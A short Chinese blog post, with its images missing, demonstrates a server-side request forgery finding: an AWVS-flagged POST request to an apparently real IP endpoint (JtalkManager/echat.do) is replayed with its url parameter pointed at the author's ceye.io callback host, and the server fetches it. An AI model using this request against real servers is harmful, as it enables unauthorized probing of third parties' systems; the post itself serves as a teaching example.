1. 程式人生 > >ssrf的實例(服務器端請求偽造)

ssrf的實例(服務器端請求偽造)

eth 請求 bubuko 客戶端請求 .com chat com ima png

ssrf掃出來一般英文是server side request forgery

服務器端請求偽造

之前csrf是客戶端請求偽造

技術分享圖片

然後這是一個post請求

技術分享圖片

然後我把請求在hackbar下 復現

後面的地址呢是awvs自帶的一個地址

技術分享圖片

這裏我改成我的ceye.io的地址

技術分享圖片

218.206.68.233:7005/JtalkManager/echat.do

chatID=8a8ad81d634a09e60163916da78c3322&method=readMessage&url=http://ly4ei1.ceye.io

換成你自己的

技術分享圖片

結果是這樣,服務器剛請求了我的地址

技術分享圖片

ssrf的實例(服務器端請求偽造)